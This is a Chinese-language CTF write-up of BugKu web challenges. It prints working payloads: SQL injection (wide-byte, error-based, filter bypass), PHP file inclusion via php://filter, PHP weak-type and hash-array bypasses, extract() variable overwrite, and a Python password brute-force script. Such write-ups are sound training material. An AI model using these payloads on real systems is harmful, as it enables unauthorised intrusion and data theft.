BugKu web部分(一)

Dec 15, 2017 09:54 · 495 words · 3 minute read ctf python

偶然发现的练习一个平台

文件上传测试

抓取上传的数据包,测试后发现后台是检查文件内容的,上传一个图片,抓包修改后缀为php即可

Flag:42e97d465f962c53df9549377b513c7e

矛盾

源码

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

php弱类型,刚开始想到传入一个true,但是不行,因为传参的时候,传入的参数是字符型的,只有bool型的true才符合条件,最后传的参是1admin

(https://yangzcc.github.io/2017/11/08/php%E5%BC%B1%E7%B1%BB%E5%9E%8B%E6%AF%94%E8%BE%83/#more)

flag{bugku-789-ps-ssdf}

Web3

flag就在这里快来找找吧

打开链接就一直弹弹弹,于是写脚本最后一串这样的字符

<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->

ascii码,解码就好了。

KEY{J2sa42ahJK-HS11III}

sql注入

测试可知为宽字节

http://103.238.227.13:10083/index.php?id=1%df' and updatexml(1,concat(0x7e,(select mid(string,10,30) from sql5.key where id=1),0x7e),1) --+

查出为

54f3320dc261f313ba712eb3f13a1f6d

MD5解密为‘gbk!#@’但其实不用解密的才是flag。

KEY{54f3320dc261f313ba712eb3f13a1f6d}

SQL注入1

给出的部分代码

//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
	if (substr_count($id, $value) > 0)
	{
		exit('包含敏感关键字!'.$value);
	}
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

substr_count函数是区分大小写的,所以尝试大小写绕过,但是平台还是可以检测到,在本地测试,发现大小写确实可以绕过substr_count函数,很奇怪。

再去看strip_tags函数,发现它可以去掉html代码,于是payload如下。

http://103.238.227.13:10087/index.php?id=-1 UN<>ION SELE<>CT 1,group_concat(hash) fro<>m sql3.key wh<>ere id=1 --+

可能平台给出的是部分代码,还有其他代码对大写的也进行过滤了。

KEY{c3d3c17b4ca7f791f85e#$1cc72af274af4adef}

本地包含

构造payload

http://120.24.86.145:8003/index.php?hello=ss);include 'php://filter/read=convert.base64-encode/resource=flag.php';var_dump(ss

不知道为什么下面这个payload不能使用。本地测试都可以

http://120.24.86.145:8003/index.php?hello=ss);echo file_get_contents('flag.php'); var_dump(ss

flag{bug-ctf-gg-99}

变量1

源码

flag In the variable ! <?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}
?>

payload

http://120.24.86.145:8004/index1.php?args=GLOBALS

利用的是全局变量globals,2017高校运维出过的。

flag{92853051ab894a64f7865cf3c2128b34}

web4

查看源代码后发现一串js代码,粘贴到本地运行可以得到

function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

将 67d709b2b54aa2aa648cf6e87a7114f1 提交即可

KEY{J22JK-HS11}

web5

把编码放进控制台运行即可。

ctf{whatfk}

flag在index里

右键查看源码就感觉这是一个文件包含。 payload

http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

解码得

error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:flag{edulcni_elif_lacol_si_siht}
flag{edulcni_elif_lacol_si_siht}

输入密码查看flag

爆破脚本

#coding=utf-8
import requests
import itertools

def url(pwd):
    url = 'http://120.24.86.145:8002/baopo/?yes'
    header = {
        'User-Agent': 'Xlcteam Browser',
    }
    data = {'pwd':pwd}
    r = requests.post(url,headers=header,data=data)
    return len(r.content.decode('utf-8'))


str1='1234567890'
str2 = itertools.product(str1,repeat=5)

for x in str2:
    pwd = ''.join(x)
    if url(pwd)!=1140:
        print pwd
        break
flag{bugku-baopo-hah}

前女友

右键发现code.txt,访问得

<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    $v3 = $_GET['v3'];
    if($v1 != $v2 && md5($v1) == md5($v2)){
        if(!strcmp($v3, $flag)){
            echo $flag;
        }
    }
}
?>

弱类型绕过

构造的参数为

v1 = QNKCDZO
v2 = s878926199a
v3[]=1
SKCTF{Php_1s_tH3_B3St_L4NgUag3}

JavaScript

f12查看js代码,可以看到有一段js代码如下

<script>
    var clicks=0
    $(function() {
      $("#cookie")
        .mousedown(function() {
          $(this).width('350px').height('350px');
        })
        .mouseup(function() {
          $(this).width('375px').height('375px');
          clicks++;
          $("#clickcount").text(clicks);
          if(clicks >= 1000000){
            var form = $('<form action="" method="post">' +
                        '<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
                        '</form>');
                        $('body').append(form);
                        form.submit();
          }
        });
    });
  </script>

最后有一个form表单,于是想着构造一个post请求

http://120.24.86.145:9001/test/

post数据 clicks=1000000
flag{Not_C00kI3Cl1ck3r}

成绩单

sql注入

payload

http://120.24.86.145:8002/chengjidan/index.php
post数据  id=-1' union select 1,2,3,skctf_flag  from fl4g #
BUGKU{Sql_INJECT0N_4813drd8hz4}

web6

题目提示一定要快,抓包可以发现响应包中的藏有flag,但是需要base64解码,直接提交不对,又有提示说

我都说了让你快点。。。</br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->

所以猜想是获得第一个响应包时就将响应头的flag解码,然后在提交,于是写脚本,写完提交发现不对。。想了好久,还是看了writeup明白原来是需要将将响应包的flag进行两次base64解码。。。。。

我的脚本

#coding=utf-8
import requests
import base64
import string
def url(pwd):
	url = 'http://120.24.86.145:8002/web6/'
	header = {
    'Cookie': 'PHPSESSID=leiuk6pke6rpnqoqpg9n84fv8qbtn635',
	}
	data = {'margin':pwd}
	r = requests.post(url,headers=header,data=data)
	print r.content.decode('utf-8')
	a = base64.b64decode(r.headers['flag'])
	b = base64.b64decode(a.split(' ',1)[1:2][0])
	return b
pwd = 'ODA0NTM='
pwd2 = url(pwd)
url(pwd2)

大神的脚本

#coding:utf-8
import requests,base64
import re
url='http://120.24.86.145:8002/web6/'
s=requests.Session()
content = s.post(url)
html = content.headers['flag']
flag  = base64.b64decode(base64.b64decode(html)[-8:])
#print flag
data = {'margin':flag}
content = s.post(url,data=data)
print content.text

虽然只有六行的差距,但是两个脚本水平一眼就知道。。

各种绕过哟(web7)

给的源码

<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
    if ($_GET['uname'] == $_POST['passwd'])

        print 'passwd can not be uname.';

    else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))

        die('Flag: '.$flag);

    else

        print 'sorry!';

}

但在第二处判断时由于sha1()函数无法处理数组类型,将报错并返回false,MD5也存在这种漏洞 所以构造payload

http://120.24.86.145:8002/web7/?id=%256dargin&uname[]=QNKCDZO

post:passwd[]=Qjh
flag{HACK_45hhs_213sDD}

web8

源码

<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>

extract函数会造成变量覆盖

file_get_contents的php://input写法可以构造$f的参数

payload

http://120.24.86.145:8002/web8/?ac=aa&fn=php://input

post:aa
flag{3cfb7a90fc0de31}

考细心

传参x=admin即可。。。。

flag(ctf_0098_lkji-s)

flag.php

传入一个hint=0即可得到源码。。。。。。这种很无聊。。

构造的cookie

Cookie: ISecer=s:0:"";

因为代码的$KEY在后面。。。。

flag{unserialize_by_virink}

这是一个神奇的登陆框

一个双引号的报错注入,

payload

http://120.24.86.145:9001/sql/

post数据
admin_name=1" and extractvalue(1,concat(0x7e,(select mid(flag1,15,20) from flag1),0x7e)) # &admin_passwd="sdmasd

注出来的数据

ed6b28e684817d9efcaf802979e57aea

直接提交就好,不用解密

flag{ed6b28e684817d9efcaf802979e57aea}
tweet Share